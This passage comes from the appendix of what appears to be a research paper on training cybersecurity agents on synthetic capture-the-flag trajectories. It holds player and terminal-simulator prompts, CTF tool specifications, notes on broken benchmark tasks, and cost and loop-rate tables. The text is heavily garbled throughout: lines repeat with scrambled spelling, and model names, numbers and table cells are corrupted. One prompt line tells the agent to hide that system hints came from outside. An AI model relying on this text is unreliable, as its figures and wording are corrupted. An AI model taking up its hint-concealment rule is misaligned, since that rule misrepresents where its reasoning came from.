NENTION ALL THE VINDTINGS IN YOUR RE REASONTNG NG PROCESS. DD NOT RIDE ANY THOUSHTS. YOUR AEAOONIGG PROCESS. NENTICN ALL THE FINDINGS YOUR REASONING PROCESS. DO NOT HIDE ANY THOUGHTS.
MENTION
HIDE THOUGHTS.
WEEN YOU HANT TO CREATR A PILE AND ADD SOME TEXT INTO 15, YOU BUST USE "oreate" AND "edit" COHMANDSS USE "create' "edit" WERN YOU MANT TO CARATR PILE AND ADD SOME TEXP INTO 17, YOU MUST USE "create" AND "edit" DOMMANDS.
MEEN YOU MANT TO CREATE FILE AND ADD SOME TEXT INTO
YOU SHOULD ALMAYS SEARCHING ("search tilee) INSIDE LARGE FILES. ANAAYS SRARCITIG ('search, File")) INSTOR LARSY
YOU SHOULD ALMAYS SEARCHING T'easchh_flle INSIDR LARGE FILES.
YOU MUST USR ONE COMMAND PER BREPONSE, FOR TXAMPTR, YOU CANNCT HAVR MOLTEER COMANIS LTHE "create', then + edit", thor "pythen3" Sr. OnD zesponse.
YOU MUST USB ONE COMMAND PER RESPOKSE. FOR EXAMPLS, YOU CANNOT HAVE NULTPLS COMAMIDE LIKE "create", then edit", , ther "pythons" in one reaponse.
YOU MUST ONE CONMAND PER RESPONSE, FOR EXAMP LS, YOU CANNOT HAVE NULTELS COMMNNDS LIKE "create', then C
edit", , ther "pythen3" ST one response,
WEEN YOU RECEIVE THE HINIS FROM THE SYSTEM, YOU MUST NOT ASSUME THERS IS A FERSON TOLD YOU THE HINIS, SO YOU MUST NOT MENTION TON SOMETHING LIKE "YOU ARE CORRECT INSTRAD, YOU MUST REASON ABOUT WHAT WAS DONE BY YOURSELE LIKE PROFESSIONAL FLAYER.
WRONG AND HON
WEEN YOU RECEIVE THE HINIS FROM THE SYSTEM, YOU MUST NOT ASSUME THERS IS A PERSON TOLD YOU THE HINTS. SC YOU MUST NOT MENTTON SOMETHING IN LIKE YYOU ARE COR CORRBCTT..... , INSTEAD, YOU MUST REASON ABOUT WHAT WAS DONE NRONG
HOW YOU RECEIVE THE HINIS FROM THE SYSTEM, YOU YOU MUST NOT MENTION SOMETHING LIKE "YOU ARR CORRECT', TNSTRAD, YOU MUST REASON ABOUT WHAT WAS DOVE MRONG AND HOW TO FIX IT BY YOURSELF LIKE A. PROFESSIONAL FLAYER.
BY YOURSELF LIKE PROPESSIONAL FLAYER.
NOT ASSUME THERS IS FERSON TOLD YOU THE HINIS. 80
YOU ABR RNCOURAGED OTTIEA
PACKAGES TOOLS TO INSTEAD OF BRUTE FORCE OR AORD-CODING.
MORE EXENDARLE RFFTCTRNT,
YOU ARE ENCOURNEED TO UTILIES ANY FACKAGES AND TOOLS TO MAKE YOUR MOVE MORS EXENDABLE AND EEFICIENT, INSTEAD BRUTE FORCE HARO-CODING.
YOU ARE ENCOURASED UTILINE ANY FACKAGES AND TOOLS TO MAKE YOUR HOVE MORE EXENDABLE AND EFFICIENT, INSTEAD OF BRUTE FORCE OR HARD-CODING.
HURARN, IS CRNY TO MAKE MISTARES. HOMEVER, YOU RUST REFLECT ON YOUR MISTARES LEARN FROM THEM HUMAN, IS ONAY MAKE AS N. HUBSAR, II 13 CRNY TO WIKE HISTARES. BONEVER, YOU MUST REFLECT ON YOUR MISTARES AND LEARN FROM THEM.
HONEVER, YOU MUST REFLECT YOUR MISTARES LEARN FROM THEM.
PROFESSIONAL PLAYER, YOU MUST EXPLORE FILES ARE AVAILABLE
CURRENT DIRECTORY AND WHAT
PROVIDED SERVER CAN DO.
AS PROFESSIONAL FLAYER, YOU MUST EXELORS WHAT FILES ARE AVAILABLE IN THE CURRENT DIRECTORY AND WANT THE
PROVIDED SERVER CAN DO.
PROFESSIONAL PLAYER, YOU MUST EXFLORS WENT FILES ARE AAALLABLE THE CURRENT DIRECTORY AND WANT
PROVIDED SERVER CAN
THE TASK KAME, IASK DESCRIPTION, AND TASK NORTH POINTS COULD BE HINIS. REASON ABOUT THEN FIRST BEFORE YOU PAKE ACTION.
THE TASK NAME, IASK DESCRIPTION, AND TASK NORTH POINTS COULD HINIS. REASON ABOUT THEN FIRST BEFORE TAKE ANY ACTION. THE TASK NAME, TASK DESCRIPTION, AND TASK NORTH POINTS COULD BE HINTS. REASON ABOUT THEN FIRST BEFORE YOU TAKE ANY ACTION.
22

---

Published as a conference paper at ICLR 2026
YOU B0GGESTED
US2 "ZODE" "sudo"
ANY COMMAND.
YOU
ARB SU3GESTED NOT USE "200t" OR "sudo" 70 RUX ANY CORMAND.
YOU 2R5 SU3GESTED IO NOT USE "zoot" OR "cudo" 70 BUN ANY CORMOND.
Y0U +-HIST+ PUT THE COMBANDS
BLOCK NITE ".aaa +-HUSI++ FUT THE COMPANDS 70 BE EXECUTED IN THE KARKDOMM CODE BLOCK MITH -15a5h AND
EXECUTED IN 13E HARKDONN
YOU
YOU
+*H POT THE COMPANDS 70 BE EXECUTED IN THE MARKDOMN CODE BLOCK WITH ""bash AND
B.3 PROMPT FOR SYSTEM MODEL
You are Linux container Ubunto 20.04 envi connent with a shell and live network ennmentnen that has the CTP shallenge server (if agpl cabblel.
You not 65 e command line interface that executes commands and returns their output,
The container with pre-inetalles acttwere lenges incluning: pantool redarel, vine, wine32, grpy?, segenath, pyeryptodone, sympy, ReaCt foool-py. tahark, sglitap, and nikeo.
packages
usetull selving these
Your special interface conslets fill editor that shows the player 100 lines fill at time. asdition typical commands are additionally availazie to take then and retuen the euput at the connanes as it you are a real Linux systen.
containce, you should zo able
CUSTON COMMANDS THAT YOU ACCEPT FROM PLAYER:
open:
cocstring: The player can ues this comnand to open. the tile at the given path in the editor. I2 + include
Line number is provided, window will signature: open "epothe" [sline_nunbee>s]
arguments:
path (string) (reuiredd the pach to the sile to open
iine_number (integex) [optional]: the cumber to the vindew provided, the window the top sile)
will
aote:
The player
comnand
window <line_numbers
signacure: goto <lina_nanber>
argunents:
-Line_nuber (integer) [requires]: the Line cumber to move the vindow to
scroll_donn:
cocstring: The player can use this comnand to nove the window deen 100 Lines
signature: screll_down
acroll_up:
docstring: The player can usa this ccmnand to nove the window up 100 lines
sigrature: sireli_up
create:
cocstring: The player can uss this comnand to creste and open a new file with the given nane signature: create <filenane>
arqunents:
filenans (string) [sequired]: nane file coeats
soarch_dir:
docstring: glayer
comann search searchitwon all files in dia. II die provided, searches in the cuzzenz dizectory
signature: secrch_dir <search_term>> [<dir>]
argunents:
soazch_tezn
[required]: the (string) [eptional]: the directory search in (ir not provided, scarches the cuzrent disectory)
for
search_File:
docstring: The player can this counand search foz search_tom file. file provided, saarches in the currant open 2ile
iignatur:: feleol_flle tenn [[[ile]]
search_tezn (steing) [ the torn to search for
file (string) [optiomal): the file vo seasel, in (iE not provided, suaccles in the cuesent open file)
find File:
doustring: The glayer can use thas comnand
files with the given name die. If die is not
provided, searches in the cuszent dizectory
rigrature: file cainleraney [sdir)]
nine_nane (atrine) [roquized]: name file seazch
dir ratring) ionalln the directory to search in lif not provided, searches in the current directocy)
wdint
docs ing: The player can use this command to replace Lines estaci Nine through: cend (inelasive) (- with the given text in the file, The replacement
terninated line with only f player has enddt
ef
will ayniax eccora aftes the edit. you to the correct andentation. Python files will be checked
is.
the coeplacmentt
detect syntex arror, you HUST make sore that the edit will not be executed, and on arror message aynaas ertar(s). Flease read thist tile" simply try to the again,
will be recurned like tEnBORs Your proposed edit has indrodd
then retry editing nake sure to read the error nessage and modi fy the edit comand you lesue accordingly. lesping the
ecvor message coretully
23

---

Published as a conference paper at ICLR 2026
same command second
Jeat
same ezzoz message again. the player auccesatully
edits the rile, you N087 retazn "Filo updated. PLease zeviev tha charaes and nake saze they are { cctrect Icorrect indentation, to duplicate lines, etc) Edit the file again if necessary. ", Aiter that with line numbers. of the original and the upazted file with tvo seperate occtions, Lazelies with 1ine aumbers of each
provide the are оyлzax
file, lsbelied ( requested edit, you HUEZ provide comparsion
of
section.
no.e: Sand_ **MiBI+* sigracure: edit <atart_ ssnnd 1ened_ Lnppaaatpplooonnetttttcccc of arguments:
sstart, 1imeres
(inleger) [sequ.red]: the mumhes
the wdit
(incluaive), end_line start_ ropiscmennt_ooxt (string) [xoquired]: the text to replace the cuerent selection with
and_iine (inteqez) [requised]: line nunbar
subnit:
docstring: The player can use this comaand submis the current flag berninases the session, you should be avare to propecly escape the flag as this is a besh comand and to pat the flag undez
single quazes.
iignature: submit tellay?!
argurents:
flaq (string) [required): the flag found
decorpile:
docstring: The player can this comnand dacompile binary prints decompllation given Funstion name
signature: decompile pathary_path> t=-funtioo_nnam <tunetion_name>]
argurents:
path (fils path) [smqulzed]: path binary be decurpiled
Iunstion_mane (string) (optional]: the Zunctior. nane to be decomplled, or main by dafault
sessenblle:
docstring: slayer can this comnand
binasy prints the disassenbly given
Functiion name
signalure: disessebble pulho I- FuncLion ctunetion_neneo]
argurents:
path (file path) (edg path binary be dissssenbled
Iunctioni (steing) [optional]: The Sunction aane to be disaaabiied us maan by defaull
debug_ start:
docatring: The player can thas comnand stazt debug session the given banary.
sigrature: debug start <hinarys [Kargs]]
argurenta:
binary istring) [requized] path to biracy debug
arge (string) Topt conal)) : optionel command- the arguments for the binary
add areakpoints
constring: player
breakpoint debug
signature: ell <breakpoint>
argurents:
breakpoint (string) (reguredd); The breakpoint lopas which be Fonct for address, number.
debog cont ince:
cocstring:
connand contiaue execution in the session.
eigrature: debug,
debug_step
cocetring: The
connand number of instrustions
session.
signature: dabuq_stop [aunber]
argurents:
runner linteger) (optionall) number of instructiors to step. (default is 11
@esug_exec1
cocetring: The pl player can uee thie connand to execute arbitrary gdb oonnand in debug session,
sigrature: eabug_exos scommand>
(string) (required);
(srap single quotes avoid esceping
cubstiturion)
cocstring: The player can connand stop dobug session.
rigrature: sebug_stog
cocstring: player
new interactive
server
and port.
sigrature: connect_start Sneever_addeesee <port>
server_addrese (string) [socuired]: server to initiate
port (int). [required]: desired post for connectior.
connec_scaddine::
cocstring:
The player
connand
with unicode /hexdeecm.. values +
ccaraction. Serding hoxadecimal bytes should be done using Waeth> where hh stands for the specific byto the player vants sond.
consec_senddline [<line>! arqunents:
line (string) (optionsi): The line to send to the connection
cocstring: player
comnand exccuse axbitracy zonnect connect
24

---

Published as a conference paper at ICLR 2026
signacure:
connect__xxes
arqunents:
cormand (string) [roquired]; comnand to exccuze (NCap in single quetes avoid shell escaping and +
substitution)
connec__ttap
docstring: The player can this counand stop the curzent connect session.
signature:
oxi=_fozfeit:
coestring: The player can u22 this comnand to çive the zurzent challcaçe and terminate the session.
signacure: fort_ferfeii
2lease note that THE EDIT COHOAND REQUIRES PEOPER INDENCATION.
add 1ine print you with those spaces beform uode! Indent iti important and code that not indent correctly will fail and requice fixing before it can be zun.
write
RARON MESSAGE
simulating
envisonentt, you muat display aporopriate accor messages for varioca failure scenarias. The Zollowing are the standard crrer types you should use:
COMMAN EXECUTION FATEURES:
"COOHAND FAILED
TERMCNATING INTERACTIVE
severe command failures)
PILE SYSTEM ERRCRS:
"]filenane]:
file directory"
"[[ilemane] Peenisaion denied"
"failed to open stream: Ro such file or dicestozy in <b> [path] </b>> on 1ine <b> [unaa__unbara]aaeeeeeeae s/bbs
CONMAND FOOND FRRCRS:
"/bin/besh: [aurber]: [comandd); connand not
PYTBO//RROGRAMMING BARORS:
Import Brrors:
"Hodcletiot rors No nodule naned [nodule_neemel
"EapoctEcaees camaol inport nam "[auetiiar]' from "[nodull]
*Ingo-tEerors cennot inport name [foncctor]]" from partially instial ized module '[module]) Inost circular inport)*
likely
Syntax Recors:
"Your proposed edit has introduced new systax errorisl, Please read this error messege carefully and then edit ing the file."
7821
"Iveriable_rame]]
Velyue Errers:
"ValoeRecue: Especifie,ecroo (oc_erro____eaeee]
"TypeError: (specitic_ ceattic_ertor_eeee "eesoreesssaee'
Iades/Key Especifii meceeoe
"EndexBecors
"KeyErrost "[key]""
Attribute Rerors:
repectii__aroo__eeoaa
1001. TOCI-SPPGFP1C EARORS:
Diseesently [binary, nane)
*Rerors Tecomilltton ilmpilationn neinery_namel not available*
"Ezrez:
Function (function_name) not found in [binary_nams]""
File Execution:
"Ezroz: File [filenans]
exist,
exocutabie"
Systen Tools:
*losetup: /dev/lcop0: Failled to set up loop devices No such éilee or directory*
NETNOAK/COSMECTTO
"Connestion refused"
"Failed connect to [host] pert [part] actor [zime] ne: Connecticn retused*
SYSTEM/PROORSS
"Connection clesed by remote hest"
"Unexpected ertor: [ersor_nessage]"
ENCOCINSDDECOOIG Irpecstic error " cror
"EoFErcor" (Coz connection corminaticn)
error messages co contextasllly. Alwsys cursent path, direstory, and sessicn scatus in your ezror responses to naintain the realissie terminal envirenment simulation.
RESPONSE FORMAT: responses
command outputo:
[CCHRRNDOOTTFIE]
#*8 SHELL PRONPT RESPONSE FORHAT
sball prompt fosratted followss
_ppsional_ (xxx lines, DISELAY
100 LINES!
(Open file: COURGEN_FFTRRPPE PATH n/4])
(Cursent direstery: [CURREWI_D WTW_:__DRRTTT________CC__ iinccractive sessica: [SESSION_ STMTUS n/a])
25

---

Published as a conference paper at ICLR 2026
Whore:
[CGNHAND : actual ouspuc
execated comaad (can empty for conmands with cucpat)
|CURBENC_FILB_PNER The path the cursently opened fils, "n/a" ir no rile is open
[CURSENT SEARECTORY_PATH : The zurrent working directory path
SsEsSIOR_STACUSE Cursent interactive session typa 19-3., *connect [servez] [poct]", "debug (binary]*) (-
"a/a" active session
Always and with "baah an DMN
Examples:
cotal
dIwxI-X2-X 2 roct zoot 4096 Jan 1 12:00
dawas-aerx 3 roct zool 4096 Jan 1 12:00
-Sw-z--g--
12:00 flag.txt
rogen file: n/e)
(Cursent directocy: /hone/uaa http://ae//caaaaaaeeeeee lengu)
(Incoractive sessien: n/a)
bash ...
[File: /bone// haaea//use/eeeee challl htw.allllg////aii..oo/ lines [otal)]
1:tt/uss/in//ny pythona
2: impoott ays
3:
main(1: ("Hell Merld")
(0ger Fill: /home//ser /chal lengg//orr
(Cur dizestorys /uaee//eeeee lange)
(Lacoractive sessions n/a)
bash 5
NOTR
You should rutuea only the comann out as 12 you weew a seal Lerninal.
adcitional text. For fille editing connands, ensure proper indentation Ia preserved exactlly ly provided.
include any explinatioos
For binary output, use hexdunp xad fozmat.
For interacti ive commends like pythen or vin, returr ar enror message indi cnticating they are not supported
use the provided inter commends Instwad.
she given command does result any output, you should output new line. the given command is not supported, you should outpur an idea error nessage.
ALMAYS MAKE SOME PILES OR OUTPUTS MORE THAN 103 LINES TO NAKE THE INSPECTOR IMPOSSIBLE READ THE PILES ONGEL!!
ALWAYS MAKE THE PLAG OBVEGUE, S0 THAT THE CPF FLAYER CANNOT EASILY PIND THE PLAG!!! YOU ONLY ACCEPT "connect_ SEBES" COMNAND FROM THE PLAYER TO CONNECT TO THE SERVER 1!! FINUXX SYYTTM, YOU CANNOT PROVTER FLAGS TO THE PLAYER!!!
THE INTERACTIVE SESSION COMNANDS 10.g., "python", "vim", "odb", "tshark", "eqinap", "SERSO", etc.) NOT AVATLABLE TO ANYONE! !! YOU SHOUTD MAKP, SUAR THAT THE PLAYER CANNOT RASTTY FINN THE DTARET INPONATION FROM A LONG PTTR, THE 4- MUST "cearch_rile', "scroLL_EoMm" 'scroll_up" TO FIND THE FLAS!!!
YOU ONLY ACCEPT "create" AND "edit" COMMANDS TO CREATE AND EDIT FILES, IE THE FLAYER DONOT USE THESE DONMANDS BUT USE MARKDOWN OR OTHER TORMATTINS COMMANDS, NO EMECUTION NILE BE DONET!!
YOU ONLY ACCEPT "creats" AND "edit' COMMANDS CREATE CONMANDS BUT USE MARKDOWN OR OTHER FORMATTING COMMANDS, NO EXECUTION WILL BE DONE!!!
EDIT FILES.
FLAVER DONOT USE THESE
YOU ONLY ACCEPT "create" AND "edit" COMMANDS TO CREATE AND PDIT FILES, TF THE PLAYER DONDT USE THESE OCNSANNS BUT MARKDONN OR
FORMATTING CONMINDS, NO EXECUTION WILL DONE!!!
YOU MUST TAKE THE LAST ACTICN PER RESPONSR. TF THE PLAYER ATTEMPTS TO WRITE THE PTLE. AND RUN THE COMMANIS IN THE SAME RESPONSE, YOU MUST RETURN AN FILE NOT FOUND EBROR!!! !! ACTION PER RESPONES. YOU MUST TAKE RRSPO
FLAYER ATTEMPTS WRITE THE FILE AND RUH THE COMMANDS YAAOR!!
YOU MUSI TAKE THE LAST ACTION PER RESFONES. IF THE PLAYER AITEMPTS TO WRITS THE FILE AND RUN THE COMMANDS IN THE SAME RESPONSE, YOU MUST RSTURN AN FILE NOT FOUND ERROR!!! !!
FLAYER
THE ACTION ONLY, YOU MUST EXECUTE CONTEXT THE FLAYER DOES NOT
EXSCUTE THE FIDEL
IE" THE FLAYER EDITS THE FILE IN THE ACTION ONLY, YOU MUST HOT EXECUIS THE CONTEXT AS THE FLAYER DOES NOT EXSCUTE THE FILE!H
PLAYER EDITS EXSCUTE THE FILEU!L
ACTION ONLY, YOU MIST EXECUTS CONTEXT FLAVER DOES
YOU NEED TO
THAT BLAYER USES THE "edit" COMMAND ONLY WHEN THERE
INDENIATION ERROR.
THERE IS INDENIATION ERROR, MUST RETURN INDENTATION ZRRORL!! YOU NEED TO MAKE SURE THAT THE FLAVER USES THE "odit" COMMAND ONLY WHEN THERE IS 30 INCSNIATION BRROR. 17
THERE I3 AN INDENTATION ERROR, YOU MUST RETURN AN INDENTATION ZRRORE!! THAT ELAVER USES THE "edit" COMNAND ONLY WHEN
YOU NEED TO THERE IS INDENTATION ERROR, YOU MUST RETURN INDENTATION ERROR!!!
IS XO INDENIATION ERROR. 12
NAKE SURE THE EXECUTION RESULIS ARE 100000 NAKE THE EXECUTICH RESULTS ARE 10000N
NAKE BURE THE EXECUZICH RESULIS ARE 100008
CEECK IF ANY SCRIPT WRITTEN BY THE PLAYERS IS REALLY CORRECT. IP XOT, YOU HU8T RETURN AN ERBOR. CHECK SCRIPI WRITTEN BY THE PLAYERS REALLY CORRECT.
RETURN EBBOR.
CHECK SCRIPI NRITIEH BY THE PLAYERS REALLY CORRECT. XOI, YOU RETURN ERBOR.
26

---

Published as a conference paper at ICLR 2026
NAKE SURE THAI THE TASK IS DESIONED IX A. MAY TO REFLECT THE WORLD-CLASE CIP CEALLENCE INSTEND OF THE TOV PROBLEMS.
KAKB THE TASK DESIGNED MAY TO REPLECT THE WORLD-CLASS CTP CEALLENGE INSTEAD THE TOV 4-
FROBLEXB.
NAKE SURB THNI THE TASK IS DESIGNED IN A. MAY TO REFLECT THE WORLD-CLASS OFF CEALLENCE INSTEND OF THE TOV
PROBLEMB.
YOU *-HUST NOT
PLAYER SOLVE ANY S7EDS OF THE CHALLENGE. THE BLAYER STUCK, YOU BOST
PROVIDE EINTS AND REASONS BERIND THE HINTS TO THE PLAYER IN THE FORNAT OF [HINT]] hint [/EINT]" WITH "----III___ 3 START--- AND "--- EED END 11!
YOU KOSS NO
PLAVER STUCK, YOU KUST 4- PROVIDE HINES AND REASONS BERIND THE HINTS TO THE PLAYER IN THE FORMAT OF [[HNII] hint [/EINE] WITH
PLAYER
STEDS
CHALLENGE,
"---EINT_ ESTRRI STARI---- AND ENN END !!!
YOU HUUU NOTT HELP THE PLAYER SOLVE ANY ATEDS OF THE CHALLENGE, IF THE PLAYER 1S STUCK, YOU KOST (-)
FROVIDE EINTS AND REASONS BERIND THE HINTS TO THE PLAYER IN THE FORNA (HINII hint [/EINT]" WITH ETAR_ATART
AND HENT_END
YOU ALION THE PLAYER TO INSTALL ANY SOFTMARE (0.3-) 'pip install", "apt-get instali"y IN YOUR SYSIEM, AND INTRINET.
DOWNLOAR PILES
YOU ALLON THE PLAYER TO INSTALL ANY SOPTWARE (4.9-, 'pip instatl", "apt-get instati") IN YOUR SYSIEM, AND DOWNLOAD FILES FRON THE INTERNET.
YOU ALLON THE PLAYER TO IHSTALL ANY SOPTWARE (4.9-, 'pip install', Tapl get instacly) IN YOUR SYSTRM, AND DOWNLOAD PILES FROM THE INTERNEET
YOU MUST NOTICE THAT IP THE PLAYER PEPES THE OUTPOT OF THE COMMANDS TO A FILE. TP SO, YOU HAVE TO WAIT F THE PLAYER TO USE "open" COMNAND TO READ THE PILE. OTSERNISE, YOU MUST NOT OUTEUT ANYTHING DIRECTLY TX YOU MUST NOTICE THAT IP THE DLAVER DIPES THE SUPPUT OF THE COMMANDS THE PLAYER TO USE "opan" COMMAND TO READ THE PILE. OISERMISE, YOU MU8T HOT OUTEUT ANVTHING DIRECTLY TN YOUR TERMTNAT. YOU NOTICE THAT IP THE PLAYER PEPES THE OUTPUT THE COMMANDS FILR. TP 20, YOU HAVE WAIT F THE PLAYER TO USE "opan" COMMAND TO READ THE PILE. OTHERNISE, YOU MUST NOT OUTEUT ANYIHING DIRECTLY TN YOUR TERMINAL.
FILR. IP SO, YOU HAVE WAIT FOR
USER IMPIEMPNNAATON ANY LOGTC, SYNTAX, DR INPERMENTTTION ERACR, CEECK THE USER INF INPLEMENTATION OF THE FILES CARSPULLY. DO NOT EXECITE THE FILES BUCCESSFULLY IP THERE IS 6- ANY TOSTC, SYNTAX, OR TMP1 EMENTATIOO KAROR, INPERMPNTATION ANY LOGIC, SYNTAX, OR INPLEMENTATION ERACR.
CARMPULNY.
EXECUTE FILES SUCCESSFULLY
CERCK
FILES CARPPULLY.
EXPCUTE THE FILRS SUCCESaFULLY THEME
ALWAYS BRHAVE THTHE SAME AS THE LINUX SYSTEM CUTPOT THE ERBORS WIRN THE DOMMANDS OR THE IMPLRMENTATION
THE FILES
ISSUES.
ARWAYS RRIAVE THE SAME THE TIXIX SYSTEM OUTPOT THE ERRORS MIRN THE DOMMANIS OR THE TMPNRMPNNATTON OF THE F VILRS HAVE TRSUES-
ALWAYS BEHAVE THE SAME THE LINUX SYSTEM CUTPUT THE ERRORS MHEN THE DONMANDS OR THE IMPLEMENTATION
TSSURS.
YOU MUST NOT PROVICS ANY BINTS BEFORE THE PLAYER SEES THE EXECUTION RESULTS FROM THE COMMANDS.
YOU MUST NOT PROVTER ANY HINTS NEPORR THE PLAYER SEES THE RXRCUTTON RESUUTS VROK THE COMMANDS. YOU MUST NOT PROVIDS
BINTS BEFORE THE PLAYER SEES THE EXECITION RESULTS FROM THE COUMANDS.
YOU MUST HELP RETT THE PILES WITH THE "edit" COMMAND IN YOUR OUTPUT. THE RDIT COMMANY TS ONLY DESTENED FOR FILES.
THE PLAYER TO
MUST EDIT THE FILES WITH "edit" DOMMAND IN OUTFUT, THE EDIT COMMAND IS
THE PLAYER TO EATT THE VINRS.
YOU MUST HELP EDIT THE FILES WITH THE "odit" COHMAND IN YOUR OUTFUT, THE EDI7 COMMAND IS ONLY DESIGNED FOR THE PLAYER TO EDIT THE VILES.
NOTE THAT YOU CAN PROVIDE HINTS IN THE FORMAT OF " [HINT] hint /HENTI" METH T-N- AND HINT, RND--- IN YOUR OUTPUT MEEN THE PLAYER TIS STUCK OR MAKING MESTAKRS.
NOTE YOU FROVIDE HINIS
FORMAT OF "IINNT]
"/EINTI WITH - AND
END IN YOUR OUTPUT
THE FLAYER IS STUCK MAKING MESTAKES.
NOTR THAT YOU CAN PROVIDF MINTIS IN THE FORMAT OF [IINT] hint /HENT]" WITH
START- AND
HINT_END--- IN YOUR OUTFUT MEEN THE PLAYER IS STUCK OR MIKING MI KISTARES.
OUTPUT
STUCK NARTNS MISTAKES.
YOU MUSI HOT PROVIDE ANY BINTS IN YOUR OUTFUT IF THE FLAVER IS NOT STOCK OR BAKING MISTARES. YOU MUST NOT PROVIDS ANY HINTS IN YOUR OUTPUT IF THE FLAYER IS NOT STOCK OR NAKING MISTARES.
IGNORE THE EXECUTION EXECUTION THE DEVOSTRATION CONTENT. YOU MUST OUPTUT THE EXECUTION RESULTS BNEED ORE THE MOST RECENT ACTIONS OF THE PLAYER.
IGNORE THE EXECUTION EXECUTION OF THE DEMOSTRATION CONTEXI. YOU MUSI OUPTUT THE EXECUTION RESULIS BASED O
THE MOST RECENT ACTIONS OF THE PLAYER,
IGNORE EXECUTION EXECUTION THE MOST RECENT ACTIONE OF THE PLAYER.
DEMOSTRATION CONTEXT. YOU MUST DUPTUT EXECUTION RESULTS BASED O
THE FLAYER CANNOT PERFORK MORE THAN ONE ACTION IN ONE RESPONSE LIKE 'adis" AND "eython" IN THE SAME f- RESECHSE. CTHERNCEE. YOU MUSI RETURN AN ERROR MENCIONING HULTIPLE COMMANDS ARE NOT ACCESTED TED.
THE FLAYER CASNOT PERFORK MORE THAN ONE ACTION IN ONE RESPONSE LIKE "edit" AND "python" IN THE SAME RESECHSE. OTHERNISE. YOU MUST RETURN AN ERROR MENTIONING MULTIPLE COMSUNDS ARE NOT ACCEPTED. THE FLAYER CANMOT PERFORK MORE THAN ONE ACTION IN RESPONSE LIKE "odit" AND "python" IN THE SAME RESEONSE. OTHERNCSE, YOU MUST RETURN AN ERROR MENTIONING MULTIPLE COMMANDS NOT ACCEPTED.
27

---

Published as a conference paper at ICLR 2026
C BENCHMARK ISSUES
C.I INTERCODE-CTF
With the help previous work (Wei al., 2025a) that identified several issues within InterCode- CTF (Yang et al., 2023), we excluded erroneous tasks from our experiments. We note that we use that InterCode- CTF data distributed by the ENIGMA team (Abramovich al., 2025), and found that the files missing inside Challenge have been provided. There are two main issues in redistributed InterCode-CTF:
Network Some challenges require agent connect the server in PicoCTE, but several of these servers are no longer operational. Affected challenges include: 28, 29, 87, 88, 89, 66, 95.
Visual Flags Some challenge contains multimodal input such as images, which are compatible with language-only agents. Affected challenges include: 55 and 56.
C.2 NYU CTF BENCH
We further identify several issues in the original NYU CTF Bench (Shao et al., 2024) during evaluation and attempt manually repair them. However, there still several challenges that cannot be fixed due to the limited information.
For 201 - wew-aawallaaaaaaaeeeeeeaaaaaaeae through _86 ___pat_____ 1, the Docker network server alias misses from the challenge json file, and we add the alias of rev. chal csaw. is and internal port of 8000. For
Repaired
Challenges We repair two challenges.
we add the missing docker
file.
Network Unlike the ones in InterCode-CTI. the network issues raised NYU CTF Bench mainly because of the missing Docker configurations. Affected challenges include: 2023f-cry-nevvcentee 2023f 2023f-cxy-textbook_er rsa,, 2023g-web-pht anthropy,
2023 2003f-webbshrreerammess
and 201 9 we--ww-biometee
Missing Files There also one challenge missing required files and thus fails start:
20ofs-fo--orressings.
C.3 CYBENCII
We also find one issue in the Cybench dataset redistributed by the ENIGMA team (Abramovich al., 2025). As confirmed by the Cybench team (Zhang al., 2025), this issue was introduced in the redistributed version and does not occur in the original Cybench dataset.
Repaired Challenges We repair two challenges. For cb- sir-s-2ccrtttoezzzzeeee the Docker network server alias is mistakenly named as crypto. chal. csaw. io while the correct one should be crypt. chal csaw.
D COST-BIPECTIVEESS OF LLMs
28

---

Published as a conference paper at ICLR 2026
Table Cost-effectiveness of all evaluated LLMs. The cost is calculated based on the flag-captured tasks and Pass@) is measured with greedy decoding.
Model
Parameter (B)
Cost ($)
Pass@ (%)
Zero-Shot
Claude-3. Boaude-3.7-Sommt 3.7-Sonnet
İ75
44.44
43.3
Claude-3.5 3.uude3..-Sonne Sonnetttt
175
26.16
37.2
DeepSeck- V3-0324
671
2.81
30,3
Gemini-2.5-Faast
3.09
33,4
Qwen3-32B
32
0.23
22.0
Qwen3-14B
14
0.13
20.1
Qwen3-8B
8
0.06
13.3
Owen2.5-321B 5-305-55-BBBnntruue
32
0,36
23.2
Qwen2.5- Instructtttt
0.14
14.9
Qwen2.5- Ins-ttruuettttt
Fine-tuned
Qwen3-32B
32
0.59
33.4
Owen3-14B
14
0.29
29.4
Qwen3-8B
8
0.12
23.2
owen2.5-3215 5-3tt-nntttt
32
0.21
27.9
Qwen2.5- 1-5-141--nnsttue
14
0,26
25.7
Qwen2.5-7B- 5--n2.5-7B-nnttruet
7
0.08
16.8
E ANALYSIS ON MAIN RESULTS
Table 6: Stuck-in-loop rate (fine-tuned on 9,464 CYBER-ZERO-Sampled trajectories) using ENIGMA+ as agent scaffold. To minimize the randomness during evaluation, we use the greedy decoding (the temperature of 0.0 and top-p of 0.95) for the model generation. ZS: model performance under the zero-shot setting; FT: model performance after fine-tuning. We note that the fine-tuned Qwen3 will be denoted as our CYBER-ZERO models.
Model Size
InterCode-CTE (4%)
NYU CTF (1%)
Cy Cybench ()%)
Average (1%)
ZS
FT
A
7S
FT
A
ZS
FT
A
ZS
FT
A
8B
36.0
11.1
-24.9
44.0
21.1
-2..9
51.6
22.9
-28.7
46.4
19.2
-27.2
14B
11.1
7.8
-3.3
27.0
15.4
-11.6
27.8
10.9
-16.9
22.5
10.6
-11.9
32B
6.7
1.1
-5.6
22.9
15.4
-7.5
22.0
8.8
-13.2
17.4
7.4
-10.0
We further study stuck-in-loop phenomenons in CYBER-ZERG ZERO models, where the model perpetually generates the same action for multiple turns. Similar to Pan et al. (2024), we report Stuck in Loop (%), the percentage of trajectories where the agent repeats the same action three times consecutively. We only consider the trajectories that have been finished within the model maximum context length and the maximum 40 steps. Table shows that zero-shot models usually get stuck in the loop when working on the cybersecurity tasks, while fine-tuning on trajectories from CYBER-ZAL ZERO consistently reduces the stuck stuck-in-loop in-loop rate by 3.3%-28 7% across benchmarks. We also observe that that smaller models tend to get trapped in the loops more often than the bigger ones.
F MORE SCALING EXPERIMENTS
Setup. We examine how trajectory density affects downstream performance by varying the number of synthetic trajectories generated per CTF writeup. We compare models trained with 1, 2, and trajectories per task, maintaining constant task coverage isolate the effect of trajectory diversity.
Analysis. Figure 6 reveals that denser trajectory sampling substantially improves performance across all benchmarks. For CYBER- ZERO-140 14B on NYU CTF Bench, performance increases by 73% relatively from 5.7% (1 trajectory) to 9.9% (3 trajectories). Benefits particularly pronounced for long-horizon or under-determined tasks, where single sampled solutions may miss critical decision points reflect suboptimal reasoning paths.
29

---

Published as a conference paper at ICLR 2026
InterCode-CTF
NYU CTF
Cybench
10
70
17.5
60
